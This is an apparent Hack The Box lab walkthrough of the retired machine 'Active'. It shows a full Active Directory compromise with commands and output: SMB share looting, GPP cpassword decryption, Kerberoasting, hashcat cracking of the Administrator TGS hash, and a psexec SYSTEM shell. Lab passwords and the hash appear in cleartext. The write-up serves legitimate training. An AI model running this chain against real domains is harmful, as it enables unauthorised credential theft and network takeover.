Hack The Box — Active

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1. Machine Information

- **Target IP:** 10.129.12.43
- **Machine Name:** Active
- **Difficulty:** Easy
- **Date:** March 2026
- **Attacker Machine:** Kali Linux

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2. Attack Path

Nmap → SMB enumeration → Access Replication share → Extract GPP password → Decrypt credentials → Kerberoasting → Crack TGS hash → Administrator access → SYSTEM shell → Flags

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3. Tools Used

- nmap
- smbclient
- gpp-decrypt
- impacket-GetUserSPNs
- hashcat
- impacket-psexec

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4. Reconnaissance

Command

nmap -sC -sV -p- 10.129.12.43

Findings

- 53 → DNS
- 88 → Kerberos
- 389 → LDAP (Active Directory: active.htb)

- 445 → SMB
- Multiple RPC ports

Why It Matters

- Presence of **Kerberos + LDAP + SMB** → confirms **Active Directory environment**
- SMB + SYSVOL/Replication shares → high-value target for credential leaks

Screenshot 1 — Nmap Output

```
┌──(abhay㉿Kali)-[~/Desktop/Active]
└─$ sudo nmap --top-ports 1000 -sC -sV -sS -T4 -Pn -n -oX target1.xml 10.129.12.43
[sudo] password for abhay:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-21 17:37 +0530
Nmap scan report for 10.129.12.43
Host is up (0.27s latency).
Not shown: 983 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-03-21 12:07:23Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-03-21T12:08:24
|_  start_date: 2026-03-21T12:05:51
```

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5. Enumeration

Step 1 — SMB Share Enumeration

Command:

smbclient -L //10.129.12.43

Result:

- Shares discovered:

ADMIN$

C$

IPC$

NETLOGON

SYSVOL

Replication

Users

Why Important:

- Replication share accessible → often contains sensitive domain files

Screenshot 2 — SMB Shares

```
┌──(abhay㉿Kali)-[~/Desktop/Active]
└─$ smbclient -L //10.129.12.43
Password for [WORKGROUP\abhay]:
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Replication     Disk
        SYSVOL          Disk      Logon server share
        Users           Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.12.43 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

Step 2 — Access Replication Share

Command:

smbclient //10.129.12.43/Replication

RECURSE ON

PROMPT OFF

mget *

Result:

- All files downloaded locally

Why Important:

- Offline analysis of domain data → potential credential discovery

Screenshot 3 — Files Downloaded

```
smb: \> RECURSE ON
smb: \> PROMPT OFF
smb: \> mget *
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 23 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI (0.0
 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI of size 22 as active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI (0.0
 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\GPE.INI of size 119 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9
}/Group Policy/GPE.INI (0.1 KiloBytes/sec) (average 0.0 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Registry.pol of size 2788 as active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F
9}/MACHINE/Registry.pol (2.4 KiloBytes/sec) (average 0.6 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as active.htb/Policies/{31B2F340-016D-11D2-
945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml (0.4 KiloBytes/sec) (average 0.6 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 1098 as active.htb/Policies/{31B2F34
0-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf (0.8 KiloBytes/sec) (average 0.6 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf of size 3722 as active.htb/Policies/{6AC1786
C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf (2.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)
smb: \>
```

Step 3 — Locate Sensitive File

Path:

/active.htb/Policies/{GUID}/MACHINE/Preferences/Groups/Groups.xml

Result:

- Found:

cpassword="edBSHOwhZLTjt/QS9FeIcJ83..."

userName="active.htb\SVC_TGS"

Why Important:

- Group Policy Preferences stores encrypted passwords
- Known weakness → reversible encryption

Screenshot 4 — Groups.xml

```
┌──(abhay㉿Kali)-[~/…/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups]
└─$ pwd
/home/abhay/Desktop/Active/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups

┌──(abhay㉿Kali)-[~/…/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups]
└─$ cat groups.xml
cat: groups.xml: No such file or directory

┌──(abhay㉿Kali)-[~/…/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups]
└─$ cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20
:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOd
cqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
```

Step 4 — Decrypt GPP Password

Command:

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

Result:

GPPstillStandingStrong2k18

Why Important:

- Valid domain credentials obtained

Screenshot 5 — Decrypted Password

```
┌──(abhay㉿Kali)-[~/Desktop/Active]
└─$ gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18
```

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6. Exploitation

Step 5 — Kerberoasting

WHAT IT IS

- Extract service account ticket hashes for offline cracking

WHY IT WORKS

- Service accounts have SPNs → requestable without admin privileges

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HOW TO EXPLOIT

impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.12.43 -request

RESULT

- TGS hash for Administrator obtained

Screenshot 6 — TGS Hash

```
┌──(abhay㉿Kali)-[~/Desktop/Active]
└─$ impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.12.43 -request
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName  Name           MemberOf                                                PasswordLastSet             LastLogon                   Delegation
--------------------  ----           ------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-19 00:36:40.351723  2026-03-21 17:36:56.404556


[-] CCache file is not found. Skipping ...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$2dd1ee55d0b873513d053d7a471fa9b2$ab85d11a67befc6cbe38a24168ac8866f008c09a1c73c45b0f9d649f3d521fd32c4fe
042b380ab6da9c2d229c45767c2cb72becd1cf3c05279333d399df94bff7b17fefec9529fda82dc3b753b45bdbf26dcf048118bf122a532a9ebe12027de8b2731ad7ca4cba5d7bf2fa50827d5dbaa192791d84
095085ab7a5b4e212fe85edb2c3b1c8499572f4aa47481009b65ea76e18b05e678e90370b63b05a0876cfb010ff261ff2d19571cdff7c95305856e4118144f31ed786eae264f43780e42f7920a704e2e0b949d
4f4c383836a731b3cfa3659e02b77ec52f7f5cbca926f45076ef9ad1f2cc02d568cdbadeb5524ebc8e319a1d4cdb93084f7acd08289d2234ddd760d774031fb85a4446e532f49f58ee0dfff8a834814d707860
af9c6d4226ff8bdf4b28fe0bf49076ddc686421e6f6300c9d95a49ab10436e15170aa8a52fcd3c5a92d78e301945b45cb25d1dfe09578b937804a6a4d3a2b46371b9208c2d353bce61c0995720a077d047a751
c4dccb568aa494d8a580f48605c56d38f9f8db478500dc272c8a1f5fe83e842a82ac2a0c03c8df59dd0ee1daa0d5ac3abf78d6b28319ceb51fec84ff53a46a420d3906e7b77e4d64e4de612a86bc5f92d4df94
ad0b1b8c50fc0fee1837a6e971a3b5c3125271e83a210a3c9d1a40e2245541a90b1e489e9ec3697c51ac7be937a4eeb072d33ad597d19a9a0e725d5cb7f6aa1e262b6c8062be4c7d27ee89b9105e61491eac0a2
25ec374741cd676db62769aeff225de1af43fcf95c2ab4c2d84f7cf9b3681715a8019730b16613e8074a3e659d73346b1c32d50dfd60d587a6a26c28e24acef2fb652a658a6fa8a6a3e19f344158518f1eff53
af501eb44d5b1c6d2ec2e4204e2566183c2bf087e7038f6af2434db336ceb4ce4caf672b9e2629dbb0608151b7a26acc51b99f04867ca2fedb725cdc24fd62c59c6e07e88232257182405d18e2874497724100
219e1fc557d31e311741ac5681811554011cba832b56c503ac306168990 5d6d3de1375c94a8161b8621d365bad28d6dd30a26db0551206ba435c7ed65b1576d2808f5fc86578d281fe304d969f96d6f5f39149
728acff92ba639870e2ade5e6109cd750e6ec0aab644656db92f7a27df8a13221d14dba9290436b5419fb930b39975b875be3577e5e923b368d1834bccee8df7b735742346213976 1ec3e4df2e20e547ce320a
e3cd2930a196d316c52e4f1046c938f893a30d8082ecc57fec0
```

Step 6 — Crack TGS Hash

Command:

hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

Result:

Administrator : Ticketmaster1968

Why Important:

- Domain Administrator credentials obtained

Screenshot 7 — Cracked Password

```
* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$2dd1ee55d0b873513d053d7a471fa9b2$ab85d11a67befc6cbe38a24168ac8866f008c09a1c73c45b0f9d649f3d521fd32c4fe
042b380ab6da9c2d229c45767c2cb72becd1cf3c05279333d399df94bff7b17fefec9529fda82dc3b753b45bdbf26dcf048118bf122a532a9ebe12027de8b2731ad7ca4cba5d7bf2fa50827d5dbaa192791d84
095085ab7a5b4e212fe85edb2c3b1c8499572f4aa47481009b65ea76e18b05e678e90370b63b05a0876cfb010ff261ff2d19571cdff7c95305856e4118144f31ed786eae264f43780e42f7920a704e2e0b949d
4f4c383836a731b3cfa3659e02b77ec52f7f5cbca926f45076ef9ad1f2cc02d568cdbadeb5524ebc8e319a1d4cdb93084f7acd08289d2234ddd760d774031fb85a4446e532f49f58ee0dfff8a834814d707860
af9c6d4226ff8bdf4b28fe0bf49076ddc686421e6f6300c9d95a49ab10436e15170aa8a52fcd3c5a92d78e301945b45cb25d1dfe09578b937804a6a4d3a2b46371b9208c2d353bce61c0995720a077d047a751
c4dccb568aa494d8a580f48605c56d38f9f8db478500dc272c8a1f5fe83e842a82ac2a0c03c8df59dd0ee1daa0d5ac3abf78d6b28319ceb51fec84ff53a46a420d3906e7b77e4d64e4de612a86bc5f92d4df94
ad0b1b8c50fc0fee1837a6e971a3b5c3125271e83a210a3c9d1a40e224541a90b1e489e9ec3697c51ac7be937a4eeb072d33ad597d19a9a0e725d5cb7f6aa1e262b6c8062be4c7d27ee89b9105e61491eac0a2
25ec374741cd676db62769aeff225de1af43fcf95c2ab4c2d84f7cf9b3681715a8019730b16613e8074a3e659d73346b1c32d50dfd60d587a6a26c28e24acef2fb652a658a6fa8a6a3e19f344158518f1eff53
af501eb44d5b1c6d2ec2e4204e2566183c2bf087e7038f6af2434db336ceb4ce4caf672b9e2629dbb0608151b7a26acc51b99f04867ca2fedb725cdc24fd62c59c6e07e88232257182405d18e2874497724100
219e1fc557d31e311741ac5681811554011cba832b56c503ac3061689905d6d3de1375c94a8161b8621d365bad28d6dd30a26db0551206ba435c7ed65b1576d2808f5fc86578d281fe304d969f96d6f5f39149
728acff92ba639870e2ade5e6109cd750e6ec0aab644656db92f7a27df8a13221d14dba9290436b5419fb930b39975b875be3577e5e923b368d1834bccee8df7b735742346213976 1ec3e4df2e20e547ce320a
e3cd2930a196d316c52e4f1046c938f893a30d8082ecc57fec0:Ticketmaster1968

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Ad ... 57fec0
Time.Started.....: Sat Mar 21 18:14:20 2026 (27 secs)
Time.Estimated ...: Sat Mar 21 18:14:47 2026 (0 secs)
Kernel.Feature ...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:   393.4 kH/s (3.50ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
```

Activate Windows

Step 7 — Administrator Access

WHAT IT IS

- Use valid credentials to execute commands remotely

WHY IT WORKS

- Admin credentials provide full domain access

HOW TO EXPLOIT

impacket-psexec Administrator@10.129.12.43

RESULT

NT AUTHORITY\SYSTEM

Screenshot 8 — SYSTEM Shell

```
┌──(abhay㉿Kali)-[~/Desktop/Active]
└─$ impacket-psexec Administrator@10.129.12.43
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Password:
[*] Requesting shares on 10.129.12.43.....
[*] Found writable share ADMIN$
[*] Uploading file INncrBjE.exe
[*] Opening SVCManager on 10.129.12.43.....
[*] Creating service jIHn on 10.129.12.43.....
[*] Starting service jIHn.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> whoami
nt authority\system
```

---

7. Shell Access

- Access obtained as:

NT AUTHORITY\SYSTEM

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8. Post-Exploitation

- Domain compromise achieved
- Full administrative control

---

9. Privilege Escalation

Enumeration

- Not required (already SYSTEM)

Result

- Direct SYSTEM-level access via Administrator credentials

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10. Flags

cd C:\Users\SVC_TGS\Desktop

type user.txt

cd C:\Users\Administrator\Desktop

type root.txt

Screenshot 9 — User Flag

```
type user.txt
```

Screenshot 10 — Root Flag

```
C:\Users\SVC_TGS\Desktop>
C:\Users\Administrator\Desktop> type root.txt
```

---

11. Skills / Takeaways

- Active Directory enumeration via SMB
- GPP password extraction & decryption
- Kerberoasting attack
- Hash cracking (TGS)
- Lateral movement using credentials
- Remote command execution via psexec